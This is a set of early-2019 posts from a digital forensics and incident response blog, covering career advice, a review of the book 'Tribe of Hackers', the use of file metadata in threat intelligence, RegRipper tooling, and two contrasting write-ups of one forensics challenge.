Saturday, February 23, 2019

Tribe of Hacker Responses

When I shared my review of Marcus and Jennifer's Tribe of Hackers, I suggested to the reader that there was value in responding the questions themselves.  In this post, I'm sharing my first swag at my own responses to Marcus's questions.

1. If there is one myth that you could debunk in cybersecurity, what would it be?
That it's all about technology.  There is much more to "cyber" than technology, largely because technology is designed, purchased, employed, deployed, used, and abused by people.  When it comes to software products, it's people who use them.  When you're threat hunting, it's one person or team against another.  Policies are created, enforced, and abused by people.

There was an engagement that I was working with several other team members, and we'd identified a number of systems from which we required images for analysis.  All of these systems were in the data center, and none of them were "easy".  Needless to say, none of us wanted to stay in the data center for the time it was going to take to acquire the images, so we set our processes up, and then covered EVERYTHING in tape and signage.  In some ways it was as necessary as it was ridiculous.  We did this because we knew that the technology and process were sound, but that someone would likely come in and remove everything.

If you have kids, particularly ones that are grown now, you'll know one aspect of what I'm referring to.  Kids can be like a hive mind; they're all texting and on social media, and when one of the finds something interesting or new in the technology they use, within seconds, they all know it.  It doesn't matter if it's some undocumented feature in the new phone someone got, or something that allows parents to monitor the kid's activities through the latest social media app; as soon as one knows, they all know.  If this doesn't illustrate that people are the key, I don't know what does.

2. What is one of the biggest bang-for-the-buck actions that an organization can take to improve their cybersecurity posture?
C- and E-suite executives, particularly the CEO, must take the cybersecurity posture of the organization seriously, and make it a priority.  And I mean, really make it a priority, not say that it is and then go back to what they were doing..  You can't just talk the talk, you have to walk the walk.

If the CEO says that security is important, those within the company will know based on her actions, not her words.  If they see her tailgating into the office after issuing a "no tailgating" policy, even once, the policy is no longer effective.

You can hire all the "smart people" you want to help you with your security posture...a lot of organizations say that they do exactly that.  "We hire smart people, and they tell us what do do."  Sure, okay...but do you listen?  I know a lot of smart people who have left organizations out of frustration because they said what needed to be done ("...we need to implement multi-factor authentication on our remotely accessible resources..."), but it hasn't been done, even after events have occurred that illustrated the need.

Wrestlers and snakes know, where the head goes, the body follows.  So, make cybersecurity a business process.  Businesses have all kinds of processes, from payroll, to vendor and partner vetting, to fulfillment and customer service.  Making cybersecurity a business process makes it part of the business, not the clumsy, drunk uncle that shows up on the holidays.

3. How is it that cybersecurity spending is increasing but breaches are still happening?
Spending does not equate to security.  Years ago, I responded to a customer who'd purchased three copies of ISS's RealSecure IDS product.  You're thinking, "wow, that's oddly specific...", but the fact was that one copy, still in the shrinkwrap, was being used to prop open the door to the SOC. People get hired into fancy new positions with big salaries, and are completely ineffective against embedded corporate culture.

4. Do you need a college degree or certification to be a cybersecurity professional?
Absolutely.

I say this with the understanding that when you write your resume, as with anything else, you have to keep your audience in mind.  After all, being a "professional" implies that you're paid by someone, and in order to be paid by someone, you need to get a job.  Part of that is having a degree.  From my perspective as someone who has been a "gatekeeper" once or twice, when someone is looking to fill one position from 50 candidates, there has to be some way to trim the field, and a degree, any degree, is one way to do that.

Do you need a degree to be good at what you do?  No, not at all.  I've worked with some really exceptional practitioners who are really, really good, and I've worked with people with advanced degrees that have left me shaking my head in wonder.

5. How did you get started in the cybersecurity field, and what advice would you give to a beginner pursuing a career in cybersecurity?
I got started in "cybersecurity" back in '95, while I was in graduate school.  I asked a question that someone refused to answer.  It wasn't that they couldn't answer the question; they looked at me, smiled, and walked away.  Had their answer been different, I might not be where I am today.

My advice...engage.  The "cybersecurity" field has grown to be so large as to be overwhelming. Engage with a mentor to help you narrow things down, specifically to help you determine what you want to do in this field.

One reason why I recommend engaging is that my career in cybersecurity started long before I was in cybersecurity, going back to times when I learned or did things that laid the foundation for what I do now, but even today, are not really discussed.  For example, I took public speaking in college (circa '86).  Throughout my military training, there were multiple times when I was given a limited amount of time to prepare a short "speech"; that is, learn to speak coherently on the fly, in public.  I was evaluated multiple times during training, had to use it in my job, and then when I went back to the training environment, I had to evaluate others on their ability to do the same.

There was also a great deal that I did with respect to planning, and then executing that plan.  I found that this helped me a great deal when planning and executing assessment exercises, incident response engagements, etc.

What I'm saying is that, as is the case with others who "grew up" in cybersecurity before there really was such a thing, there was a great deal that I brought with me when I moved into a field that was very much in its infancy.  A lot of these things are not included in the courses or programs of instruction today, but are indispensable nonetheless.  The only way folks today are going to "catch up" is to actively engage with those who have been in the field for some time.

6. What is your specialty in cybersecurity? How can others gain expertise in your specialty?
Early on, I was doing assessment work, including war dialing. Not too long afterward, I moved into digital forensics and incident response work, and I've been doing that for quite some time.  Over a decade ago, that work started including targeted attacks, by both ecrime and nation-state actors.

I'm probably most known for the DFIR side, particularly as it applies to Windows systems.  I've also spent some time looking at data structures within files found on Windows systems, with an eye toward using metadata to extend analysis, as well as to inform and extend the threat intelligence picture.

The field has grown significantly since I started, and has gotten to the point where it is almost impossible to keep up.  My recommendation to anyone is to pick someplace to start...just pick one.  Look at it the way you "eat an elephant", so to speak...you do so one bite at a time.  Are you interested in malware analysis?  Start small.  Focus on something to get started...say, the PE file structure.  Learn what it is, and what it should "look like".  Build from there.  Or, you may find out that that aspect of cybersecurity is not for you.

Regardless, the point is to not get overwhelmed by the enormity of it all; break it down into smaller chunks and start by taking that first step.  Then take another.  Then another.

7. What is your advice for career success when it comes to getting hired, climbing the corporate ladder, or starting a company in cybersecurity?
Engage.  Get to know people, both in the field, as well as in other fields and disciplines.

Getting to know others in the field is going to have a profound impact on you.  First, it's going to help you with whatever level or degree of "imposter syndrome" with which you may have inflicted yourself.  Second, it's going to show that a lot of your assumptions about others are, again, self-inflicted, and wild misconceptions.

Above all, actively engage.  Clicking "like" and posting pictures of your food, your pet, or your workout is not actively engaging.  It's great to have hobbies and interests outside of cybersecurity, and it's something I highly recommend; however, in the age of "social" media, I think we've really lost track of what it means to actively engage.

8. What qualities do you believe all highly successful cybersecurity professionals share?
A sense of humor, and a focus on the goals that really matter.

Also, highly successful cybersecurity professionals understand the value in documenting things.  Truly successful professionals don't hoard information or experiences, and don't hide behind the "I don't remember" excuse.  There is too much that we don't know in this field to not be sharing what we do know, and one of the biggest qualities I see that truly successful professionals in this field share is sharing. 

9. What is the best book or movie that can be used to illustrate cybersecurity challenges?
There are two books that come to mind; "Once an Eagle" by Anton Myrer, and "Leadership in the Shadows" by Kyle Lamb.  Both are books that address leadership, but from a perspective that may be somewhat different than what you're used to.

Myrer's book is a fictional account of two officers, one who rises through the ranks by his own hard work and dedication, and the other who is "born" to it.  In a lot of ways, I see a parallel between these two officers, and what we see in business today.

Lamb's book is much more practical, but no less impactful or important.  Lamb addresses and discusses leadership from the perspective of a career working in special operations, providing lessons learned the hard way.  Leaders in the business world would see their effectiveness explode if they started following just some of what he describes in the book.

I know, I know, I've heard the same thing throughout my career in the private sector; "...that's the military, it won't work here."  The simple fact is that it will not only work, following (and living) military style leadership principles will have a profound effect not only on those around you, but the business, as well.

10. What is your favorite hacker movie?
"Hackers", hands down.  I not only enjoyed it (after all, it was a movie), but there are some very quotable lines in the movie, and when I'm giving a presentation I tend to share quotes from pop culture that, to me, are funny in the moment.  Movies from the '80s, '90s ("Hackers" is circa '94), and the later 2000s ("Deadpool") are fodder for many presentations.

11. What are your favorite books for motivation, personal development, or enjoyment?
I've always been a fan of first person perspectives of historical events, specifically first person accounts shared by military special operations personnel.  It doesn't matter if the event is VietNam, Iraq, Afghanistan, or any of the myriad smaller, undisclosed events, I find the "boots on the ground" perspective absolutely fascinating.  Having served in the military, and then working in DFIR, it's interesting that in both cases, there is the "historical write-up" of an event from a macro-perspective, but there is also the perspective of the individual working in the trenches.  It's that worm's-eye view that is often missed.

For enjoyment, I've always leaned towards science fiction.  William Gibson and Orson Scott Card are two of my favorites.  One of William Gibson's books talked about "locative art", or digital renderings that existed in a place, dependent upon your location and which direction you were looking.  Interestingly enough, we're starting to see some of that in VR realms. Card's series of books that started with "Ender's Game" have provided me with some great reading on plane flights.

12. What is some practical cybersecurity advice you give to people at home in the age of social media and the Internet of Things?
Don't.

Simply put, if you don't want your drama on social media, don't put it there.

With respect to IoT, there's no reason why everything needs to be connected to the Internet.  Baby monitors do not need to be accessible to anyone and everyone. The simple fact is, when something is made "easier", it's made easier for everyone.  If you can search for accessible security cameras online with a simple query, why would a baby monitor or your refrigerator be any different?  When technology is developed and made widely accessible, the unspoken guarantee is that there is no security, and you don't need to be an "expert" to understand that fact, nor to abuse it.

Vehicles have all sorts of new "safety" features built in, not to protect the driver, but to offset and overcome all of the other distractions we've put in front of the driver.

13. What is a life hack that you’d like to share?
Don't listen to that inner dialog that prevents you from doing something.  A while back, I was going through a very dark time in my life, and was overwhelmed with the tasks I had before me.  To make things a bit worse, there were people actively working against me.  Let me be clear, this was not a perception based on the negativity that I'd wrapped myself in; these people were actively saying and doing things to make my life difficult.

However, in one moment of clarity, I had an epiphany.  I realized that if I broke the mountain in front of me down into management, compartmentalized components, I ended up saying to myself, "wait a minute...hundreds of people do each of these things every day, and do them successfully".  Why can't I?

That moment changed everything for me.

14. What is the biggest mistake you’ve ever made, and how did you recover from it?
Biggest?  Wow, where to begin?  I've made so many mistakes over my career that it's hard to pick just one. I've misplaced dongles.  I've said the wrong thing or reacted the wrong way in front of a customer.  I've had a small error in a script snowball into a much bigger mistake in my findings.

You can recover from mistakes, and if what we see in the news media on a regular basis is any indication, there is only one way to do so.  Own up.  Accept responsibility, and learn from the mistake.

One thing that I try very hard to do is recognize when I've made a mistake early on, own it, and most importantly, inform my boss as soon as possible.  Did you get a call from a customer, get on a late fly and fly all night (at considerable expense) and then miss the meeting because you overslept?  Bite the bullet, and tell your manager first.  Don't make excuses.  Yes, your manager will be upset, but not nearly as upset as they would be if they were hearing about the issue from the customer.

Mistakes are like breaches; you have to accept that they're going to happen. It's what you do about them that matters.  Own up, and learn from your mistakes.  Also, take every opportunity to learn from the mistakes of others, not just by passively following someone, but by actively engaging with them.  I guarantee you that if you get the opportunity to sit down with someone and engage over a beer, at some point, you'll find out what mistakes they learned from.

Note that others have taken up this mantle, as well.  For example, Mark Kelly shared his responses on LinkedIn.

Friday, February 22, 2019

Aperture

If you follow me on Twitter or LinkedIn, you will very likely have seen me mention "aperture" more than a few times.  My use of the term has been in reference to digital analysis work (DFIR), as well as to the production and use of threat intelligence, particularly pursuant to, or with respect to, DFIR work.

What is "aperture"?  What am I referring to when I say, "aperture"? A definition I found online states that an aperture is "a space through which light passes in an optical or photographic instrument". In the context that I'm using the term, the "space" is a lens shaped and polished by our own individual experiences, and the "light" is the data that we have available.  How we interpret an event is based on what we know about the event (the data), applied to and filtered through the lens our own experiences.

To illustrate "aperture" by example, most of my background has been in DFIR work.  As a consultant, I was usually deployed after (sometimes quite a while after...) a breach had occurred, and I usually had host-based data with which to work.  The data that I did have available was heavily dependent upon a number of factors, including (but not limited to) the version of the OS, how long it had been since the actual breach had occurred, actions admins had taken, etc.  All of this is to say that for the most part, I did not have access to time stamped process creation data, nor to real-time telemetry of any kind.  I may have had artifacts of files that existed on the system at one time, or artifacts left behind by an application being executed, but what I did not have was the full, complete sequence of commands run by the bad actor.  I may have had access to historical data of some kind (i.e., Registry data, VSCs, etc.), but for the most part, my aperture was limited to what was available in the image.

As my career evolved into targeted threat hunting and response, my aperture widened a bit.  Sometimes, a response engagement was based on something detected through monitoring (process creation events, etc.) of the customer's network.  As such, we would have access to quite a bit of information about the malicious actor's activities, via endpoint telemetry collected through monitoring.  Other times, my response started by deploying an endpoint solution, which means that the only historical data available prior to the customer's call was logs and whatever was still available on the endpoints.

However, in other instances, the monitoring infrastructure was not created or enabled until after the customer called us.  Following the call, the monitoring infrastructure would be deployed, and the aperture was still limited; however, by deploying a sensor or agent, we were able to widen that aperture a bit.

Another example of aperture can be seen in the annual trend reports that we see published by security companies.  Not long ago, a friend of mine was at a company where about 90% of the work they did was PFI work; they did a lot of payment card industry (PCI) breach investigations.  In this example, the data that they had available was predominantly based on the PCI cases, interpreted through the analysis and experiences of the individual analysts.

We all have our own aperture; OSINT/Intel, EDR monitoring (via a SOC or MSS function), and DFIR all have their own aperture, based on the nature of the specific business model followed by each function, and their customer base.

Consider this example...OSINT tells us that a particular threat actor or group is targeting a specific vertical.  DFIR response to an engagement may show evidence that certain documents or information was collected, archived, and exfil'd.  However, very often, actors will encrypt the archives with a password, so while we may be able to determine the exfil mechanism (place the files on a web server, download them with a normal "GET" request, then delete them...), we may not be able to open the files to see exactly what was taken.  Having an EDR solution in place will show us a great deal about what the actor did, where they went within the infrastructure, what they took, and the password they used to encrypt the archives.

So what?  Why, or how, is aperture important?

For one, we have to acknowledge that we may not have a complete view of the incident or intrusion.  For example, if you're developing a "profile" of a threat group based on OSINT, which may include public reporting produced by others, you're going to have a much different view than that intrusion being actively monitored through the use of EDR technology.  The same is true for an after-the-fact DFIR engagement, particular one that did not benefit from the use of EDR technology (actor is long gone...).

Aperture is also important to keep in mind when we're viewing available information, such as blog posts, reports, etc.  Some are very clear on the aperture; "..we saw this once, on one customer's infrastructure..."; here's a great example from Carbon Black.  With the annual reports that company's publish, we have to keep aperture in mind, as well.  For example, a number of years ago, a friend of mind worked at a company where a majority of the work they did was PFI response investigations; keeping that in mind, what they shared in their annual report was cast in a different light.  In that sense, the report clearly didn't cover even a small minority of the available connected systems, and those engagements that were discussed were, for the most part, somewhat specific.

As we engage and develop our understanding, this is something to keep in mind. 

Thursday, February 07, 2019

Review: Tribe of Hackers

I'm not a hacker.  Yes, I'm intensely curious about technology, and in particular, computing.  However, I don't consider myself a "hacker", in the sense that the term began to be used in the mid- to late-'90s.  That is, the term was co-opted by marketing teams and became somewhat equivalent to "pen tester", and even began to be distinguished by prepending it with "ethical".  No, I've been on the defense/investigation side of the infosec community for most of my career. But I still downloaed a copy of Marcus and Jennifer's book, Tribe of Hackersthe other day and so far it's been an enjoyable and extremely insightful read. 

First, let me say that I like the idea that Marcus found something that impacted him while reading another book (Tribe of Mentors) and wanted to replicate that himself.  I did something similar in my book, Windows Forensics and Incident Recovery; in chapter 6, I tried to replicate the methodology for developing and building a process, based on The Defense of Duffers Drift, originally written by MajGen Swinton in 1904.  This book was required reading during my initial training as an officer in the United States military, and I still remembered the approach years later when I wrote my book.  I mention this because this is something Marcus states on the first page of the introduction to the book; as such, it's one of the first things I read, and it's the first thing that really resonated with me.  So here, I feel as if I already have a connection with Marcus, in that 15 years later, his approach validates my thought process.

Before I continue, there's something I wanted to get out of the way.  Yes, I read more than the introduction (much more), and as such, I recommend that not only do you read this book, but that you also strongly consider taking the time to answer the questions posed yourself, and perhaps even take a step beyond that and share your responses.  You can do this through a blog post, or take it one question at a time on LinkedIn, or simply use whichever medium with which you're comfortable.  I'm positive that not only will you find something in this book that resonates with you, someone with whom you connect, but if you share your responses to the questions posed in the book, you'll connect with someone else, as well.

Next, I found the book well-formatted and well-structured.  Yes, the approach is one of structured repetition, but in some ways, I think that's a good thing.  It gives a format to the approach, rather than just a free-form flow of disparate ideas.  I've seen what happens in the community, particularly at security conferences, when there's no structure and "famous" people are given a time slot and an open mic.  Hint: it doesn't go well.  The format used in the book lets the reader do something of an "apples-to-apples" comparison between respondents, as they each answer the same questions, albeit in their own way.

The book does not contain technical content, per se.  It's content is the views, opinions, experiences, reflections, and back-stories of those who responded.  If you're somewhat experienced in the information security field (say, 5 years, or more), you'll find a good bit of validation in what you've been thinking in this book. If you're new to the field, I really think that this will open a door for you.  The first thing most people will really see when they flip through this book is the pictures.  The idea of adding pictures of the respondents humanizes their words; pretty much anyone who picks up this book is going to see someone who looks like them.  This then gets them to take a step further and read the words; given the breadth of respondents, you're more than likely going to find someone in the book with whom you share a common background.

I don't recognize most of the 70 names in the table of contents; of those I do recognize, I've never met them in person, face-to-face.  We may have seen each other at a conference, in passing, but beyond that, I do not profess to "know" any of those who shared their background and insight.  But that doesn't mean that I don't find value in their words. 

This book can also presents challenges for those new to the industry; in several instances, the recommendations include "keeping up on the latest things in the industry".  In this day and age, that's almost impossible.  Looking at the backgrounds of many of the respondents, someone new to the industry, or looking to move into this sort of work, may find it intimidating.  Remember, many of the respondents have been around for a while, and they had to start somewhere.  Many, like me, started well before there was classes or courses of instruction available in any of their areas of expertise.  Some may have seen a need and moved to fill it, while others picked a direction and began the process of building knowledge in that particular area.  In short, they all started somewhere, so don't let that intimidate you.  Don't look at what they've achieved and think, "oh, I'll never be as good, as smart, or as capable as they are..."; instead, take the first step.  Don't look at where they are now as the story, consider where and how they started out and consider the journey. 

At this point, I have not read every chapter of the book; I'm still working through it.  Sometimes I'll open the PDF and read for a while, other times I'll pick out a name and just read their responses.  However, I wanted to share my thoughts on the book now, because I knew that if I forced myself to wait until I finished the book, I might never write my thoughts down. 

Interestingly enough, with all of the different backgrounds and beginnings described in the book, so far, there's one common theme I've picked up on...people.  In short, if you isolate yourself in this industry, you're obviating your ability to grow and progress, regardless of where you want to go.  However, if you actively engage and develop those "soft skills" that are referred to more than once throughout the book, that's the key to growth and progression.  This is not a purely technical profession; at some point, you're going to have to engage with someone, be they a team member, manager, or customer.  In many cases, you're going to have to harness all of your technical capabilities and communicate with someone who's not technical at all, be it through reporting, a presentation, or just talking. 

This theme continues to manifest itself, even from a technical perspective.  If you're into pen testing or web app testing, "the Googles" are only going to get you so far.  However, actively engaging with others is a force multiplier; more often than not, I know I've come away from a conversation with even just one person where we've actively engaged and come up with something much greater than we each could have on our own.  And we see this repeated time and again throughout the book.  Many (and when I finish reading all 70 chapters, I'm sure I'll be saying "all"...) of chapters include testimonies where active engagement with others has made the difference.

What does this book get me that I couldn't get someplace else?
This book provides something of an inside view into the considered thoughts of others in the industry, those who have gone before and in some cases, laid the groundwork and foundations for where we are today.  You only get so much from presentations or media sound bites; this book provides a deep dive into the minds of some who are not in the industry for the media presence or notoriety. 

Kudos to Marcus and Jennifer, and to all of those who were involved in this book.  Thank you so much for the time and effort you put into it.  Interestingly enough, I see this as just the first edition; in as short a time as two years, there could be another 70 or 100 respondents, and then at five years, another 100 more; by then, many of the respondents will be including, "...when I read the first edition..." in their words.  Great work, folks!

Monday, February 04, 2019

Data Points And Analysis

In DFIR and "threat intel" analysis, very often individual data points are dismissed out of hand, as they are thought to be easily mutable.  We see it all the time, don't we? We find a data point, and instead of just adding it to our picture of the incident, instead, we ask, "Hey, what about this...?".  Very often, we hear in response, "...hackers change that all the time...", so we drop it.

Why do we do this?  Why do we not include "easily mutable" artifacts in our analysis?

A common example of this is the PE compile time, a time stamp value added to an executable file during the compilation process.  I'm not an expert in compilers or linkers, but this time stamp value is understood throughout the DFIR community to be easily mutable; that is, it doesn't "cost" an adversary much to change this value.  Many of us have seen where the PE compile time value, when converted, indicates that file was compiled in 1980, or possibly even a date in the future.  This value is thought to be easily mutable precisely because many of us have either seen it changed, or have actually changed it ourselves.  A consequence of this is that when someone brings up, "...hey, this time stamp value says...", we may be immediately met with the value itself being dismissed out of hand.

However, there may be considerable value in including these values in our corpus of viable, relevant data points. What I mean is, just because a value is understood to be easily mutable, what if it wasn't changed?  Why are we not including these values in our analysis because they could be changed, without checking to see if they had been changed?

Consider the FireEye blog post from Nov 2018 regarding the APT29/Cozy Bear phishing campaign; table 1 of the article illustrates an "operational timeline", which is a great idea.  The fourth row in the table illustrates the time at which the LNK file is thought to have been weaponized; this is a time stamp stored in a shell item, as an MS-DOS date/time value.  The specific value is the last modification time of the "system32" folder, and if you know enough about the format of LNK files, it's not hard at all to modify this time value, so it could be considered "easily mutable".  For example, open the file in binary mode, go to the location/offset with in the file, and overwrite the 16-bit value with 0's.  Boom.  You don't even have to mess with issues of endianness, just write 0's and be done with it.

However, in this case, the FireEye folks included the value in their corpus, and found that it had significant value.

Something else you'll hear very often is, "...yeah, we see that all the time...".  Okay, great...so why dismiss it?  Sure, you see it all the time, but in what context?  When you say that you "see it all the time", does that mean you're seeing the same data points across disparate campaigns?

Let's consider Windows shortcut/LNK files again.  Let's say we retrieve the machine ID from the LNK file metadata, and we see "user-pc" again, and again, and again.  We also see the same node ID (or "MAC address") and the same volume serial number across different campaigns.  Are these campaigns all related to the same threat actor group, or different adversaries?  Either way, this would tell us something, wouldn't it?

The same can be said for other file and document metadata, including that found in phishing campaign lure documents, particularly the OLE format documents.  You see the same metadata across different campaigns?  Great.  Are the campaigns attributed to the same actors?

What about the embedded macros?  Are they obfuscated?  I've seen macros with no obfuscation at all, and I've seen macros with four or five levels of obfuscation, each level being completely different (i.e., base64 encoding, character encoding, differences in string concatenation, etc.).

All of these can be useful pieces of information to build out the threat intel picture.  Threat intel analysts need to know what's available, so that they can ask for it if it's not present, and then utilize it and track it.  DFIR analysts need to understand that there's more to answering the IR questions, and a small amount of additional work can yield significant dividends down the road, particularly when shared with analysts from other disciplines.

Wednesday, January 30, 2019

RegRipper

I recently tweeted that, as far as I'm aware, Nuix's Workstation/Investigator product is the only commercial product that incorporates RegRipper, or RegRipper-like functionality.

Brian responded to the tweet that both OSForensics and OpenText include the capability as well. The OSForensics page states that the guide was written using RegRipper version 2.02, from May, 2011, making it really quite old. For OpenText, the page states that the EnScript for launching RegRipper had been downloaded 4955 times, but is no longer supported.  Also, the reference to RegRipper, at the old Wordpress site, tells us that it's pretty dated.

As such, that leaves us right were we started...Nuix Workstation is the only commercial product that incorporates the use of RegRipper, or some similar functionality.  Here's the fact sheet that talks about the extension, and here's where you can get the extension itself, for free.  Finally, here's a Nuix blog post that describes not only the RegRipper extension, but the Yara extension (also free), as well.

Okay, full disclosure time...while I was employed at Nuix, I helped direct the creation of the RegRipper extension, as well as updating the Yara extension.  I didn't do the programming...that was something provided by Daniel Berry's team.  The "two Jasons" did a fantastic job of taking my guidance and turning it into reality.  Shoutz and mad props to the Juicy Dragon and his partner in crime, and their boss (Dan).

The RegRipper extension looks at each Windows evidence item, and "knows" where to go to get the Registry hives.  This includes knowing, based on the version of Windows, where the NTUSER.DAT and USRCLASS.DAT files are located. It will also get the AmCache.hve file (if it's in that version of Windows), the NTUSER.DAT hives in the Service Profiles subfolders, as well as the Default hive file within the system32\config folder.  Automatically.

And it will run the appropriate RegRipper profiles against the hives. Automatically.

And it will incorporate the output from RegRipper, based on the evidence item and file parsed, right back into the Nuix case as a separate evidence item.  Automatically.

Let's say you have multiple images of Windows systems, all different versions.  Run the RegRipper extension against the case, and then run your keyword searches.  This can be extremely critical, as there is data within the Registry that is ROT-13 encoded, as well as ASCII strings that are encoded as hexadecimal character streams that various RegRipper plugins will decode, making the data available to be included in your searches.

The Yara extension is equally as powerful.  You select the path you want scanned, whether you want descendants (yes, please!) and the rule file(s) you want included, and let it go.  All of the findings are included as tagged items directly back into your case.

Want to give it a shot?  Go here, and download the image from challenge #1, the web server case.  Add the image file as an evidence item to a Nuix case, and then run the RegRipper extension.  Then, use the Yara extension to run Yara rule files that look for web shells across the web server folder and all descendants.  In this case, the web server folder is not C:\inetpub.

RegRipper was released almost 11 yrs ago. I've been told time and time again that a lot of people "use" it.  I have no stats, nor any real insight into this, but what it means to me is that a lot of people download it, and run it "as is" without getting the full benefit from the tool.

I guess I'm really amazed that in all this time, there hasn't been a concerted effort to incorporate RegRipper, or a RegRipper-like capability, directly into a commercial tool.

Tuesday, January 15, 2019

Just For Fun...

OS/2Warp running in VirtualBox
When I started graduate school in June 1994, I showed up having used Win3.1 and AOL for dial-up.  While in grad school, I began using Sparc systems running SunOS (web browser was Netscape), which is what was available in the curriculum I was in.  I also got to interact and engage with a lot of other now-historical stuff, and over time, I've had passing feelings of sentimentality and nostalgia.

After I arrived in CA, I was shown PPP/SLIP dial-up for Windows systems, and was fascinated with the configuration and use, mostly because now, I was one of the cool kids.  For a while, I dabbled with the idea of a dual degree (EE/CS, never committed to it) and came in pretty close contact with folks from the CS department.  As it turned out, there were more than a few folks in the CS department who were interested in OS/2, including one of the professors who had a program that would sort and optimize the boot-up sequence for OS/2 so that it would load and run faster.

Also, it didn't hurt that I attended grad school was not far from Silicon Valley, the center of the universe for tech coolness at the time.  In fact, the EE curriculum had a class each summer called "hot chips" where we studied the latest in microprocessor technology, and corresponded with the "Hot Chips" conference in San Jose.  The class was taught by Prof. F. Terman, the son of the other Fred Terman.

While I was in grad school, I was eventually introduced to OS/2.  I purchased a copy of OS/2 2.1 at Frye's Electronics (in SunnyVale, next to Weird Stuff), specifically because the box came with a sticker/coupon for $15 off of OS/2 Warp 3.0.  I enjoyed working with OS/2 at the time; I could dial into my local ISP (Garlique.com at the time), connect to the school systems, and run multiple instances of MatLab programs I'd written as part of a course.  I could then either connect later and collect the output, or simply have it available when I arrived at the school. 

I had no idea at the time, but for the first four months or so that I was at NPS, I walked by Gary Kildall's office almost every day.  I never did get to see CP/M in action, but anyone who's ever used MS-DOS has interacted with a shadow of what CP/M once was and was intended to be.

While I was in grad school, I had two courses in assembly language programming, both based on the Motorola 68000, the microprocessor used in Amiga systems.  I never owned an Amiga as a kid, but while I was in grad school, there was someone in a nearby town who ran a BBS based on Amiga, and after grad school, I did see an Amiga system at a church yard sale. 

While I was in the Monterey/Carmel area of California, I also became peripherally aware of such oddities of the tech world as BeOS and NeXT.

Looking back on all this, I was active duty military at the time, and could not have afforded to pull together the various bits and pieces to lay the foundation for a future museum.  Also, for anyone familiar with the system the military uses to move service members between duty stations, this likely would not have survived (ah, the stories...).  However, thanks to virtualization systems such as VirtualBox, you can now pull together a museum-on-a-hard-drive, by either downloading the virtual images, or collecting the necessary materials and installing them yourself.  As you can see from the image in this post, I found an OS/2Warp VB image available online.  I don't do much with it, but I do remember that the web browser was the first one I encountered that would let you select an image in a web page and drag it to your desktop.  At the time, that was some pretty cool stuff!

Resources (links to instructions, not all include images or ISO files)
VirtualBox BeOS R5
VirtualBox Haiku (inspired by BeOS) images (there's also a Plan 9 image...just sayin'...)
NeXT in VirtualBox: NeXTSTEP, stuffjasondoes
Virtually Fun - CPM/86
VirtualBox Amiga

Wednesday, January 09, 2019

A Tale of Two Analyses

I recently shared my findings from an analysis challenge that Ali posted, and after publishing my post, found out that Adam had also shared his findings.  Looking at both posts, it's clear that there are two different approaches, and as I read through Adam's findings, it occurred to me that this is an excellent example of what I've seen time and time again in the industry. 

Adam and I have never met, and I know nothing at all about his background.  I only know that Adam's blog has (at the time of this writing) a single post, from 2 Jan 2019.  On the other hand, my blogging goes back to 2004, and I've been in the industry for over 21 years, with several years of service prior to that.  All this is intended to point out is that Adam and I each come to the table with a different perspective, and given the same data, will likely approach it differently.

A good deal of my experience is in the consulting arena, meaning that engagements usually start with a phone call, and in most cases, it's very likely that the folks I work with weren't the first to be called, and won't be the last.  Yes, I'm saying that in some cases, consumers of digital analysis services shop around.  This isn't a bad thing, it's simply meant to indicate that they're looking for the "best deal".  As such, cases are "spec'd out" based on a number of hours...not necessarily the number of hours it will take to complete the work, but more so the number of hours a customer is willing to purchase for the work they want done.  The nature outcome of this is that once the customer's questions have been established, the analyst assigned the work needs to focus on answering the questions.  Otherwise, time spent pursuing off-topic issues or "rabbit holes" increases the time it takes to complete the work, which isn't billed to the customer.  As such, the hourly rate drops, and it can drop to the point where the company looses money on the work.

All of this is meant to say that without an almost pedantic focus on the questions at hand, an analyst is going to find themselves not making friends; reports won't be delivered on time, additional analysts will need to be assigned to actually complete the work, and someone may have their approved vacation rescinded (I've actually seen this happen...) in order to get the work done.

When I read the challenge, my focus was on the text that the admin saw and reported.  As such, my analysis goal, before even downloading the challenge image, was to determine the location of the file on the system, and then determine how it got there.

However, I approached Ali's first question of how the system was hacked a little differently; I've dealt with a lot of customers in two decades who've asked how something was "hacked", and I've had to keep in mind that their use of the term is different from mine.  For me, "hacked" refers to exploiting a vulnerability to gain access to a system, escalate privileges, and/or essentially take actions for which the system and data were never intended.  I didn't go into the analysis assuming that the system was "hacked"...I approached my analysis from the perspective that the focus of main effort for my analysis was the message that the admin had reported, and any "hacking" of the system would be within some modicum of temporal proximity to that file being created and/or modified.  As such, a timeline was in order, and this approach helped me with question #2, regarding "evidence".  In fact, creating micro-timelines or "overlays" allowed me to target my analysis.  At one point, I created a timeline of just logon events from the Security Event Log.  In order to prove that the Administrator account was used to create the target readme.txt file, I created micro-timelines for both user profiles, using just web browser and Registry (specifically, shellbags and RecentDocs) data.

From my overall timeline, I found when the "C:\Tools\readme.txt" file had been created, and I then used that as a pivot point for my analysis.  This is how I arrived at the finding that the Administrator account had been used to create the file.

From my perspective, the existence of additional text files (i.e., within a folder on the "master" profile desktop), who created them and when, the modification to magnify.exe, and the system time change all fell into the same bucket for question #4 (i.e., "anything you would like to add").  All of these things fell out of the timeline rather easily, but I purposely did not pursue further analysis of things such as the execution of magnify.exe, net.exe, and net1.exe, as I had already achieved my analysis goal.

Again, in my experience as a consultant, completing analysis work within a suitable time frame (one that allows the business to achieve it's margins) hinges upon a focus on the stated analysis goals. 

I've seen this throughout my career...a number of years ago, I was reviewing a ransomware case as part of an incident tracking effort, and noticed in the data that the same vulnerability used to compromise the system prior to ransomware being deployed had been used previously to access the system and install a bitcoin miner.  As the customer's questions specifically focused on the ransomware, analysis of the bitcoin miner incident hadn't been pursued.  This wasn't an issue...the analyst hadn't "missed" anything.  In fact, the recommendations in the report that applied to the ransomware issue applied equally well to the bitcoin miner incident.

A Different Perspective
It would seem, from my reading (and interpretation) of Adam's findings that his focus was more on the "hack".  Early on in his post, Adam's statement of his analysis goals corresponded very closely to my understanding of the challenge:

We are tasked with performing an IR investigation from a user who reported they've found a suspicious note on their system. We are given only the contents of the message (seen below) without its file path, and also no time at which the note was left.

...and...

Since we can understand that this note was of concern to the user, it is very important to start developing a time frame of before the note was created to understand what led to this point. This will allow the investigator to find the root cause efficiently.

Adam went on to describe analyzing shellbags artifacts, but there was no indication in his write-up that he'd done a side-by-side mapping of date/time stamps, with respect to the readme.txt file to the shellbag artifacts.  Shortly after that, the focus shifted to magnify.exe, and away from the text file in question.

Adam continued with a perspective that you don't often see in write-ups or reports; not only did he look up the hash of the file on VT, but he demonstrated his hypothesis regarding how magnify.exe might have been used, in a virtual machine.

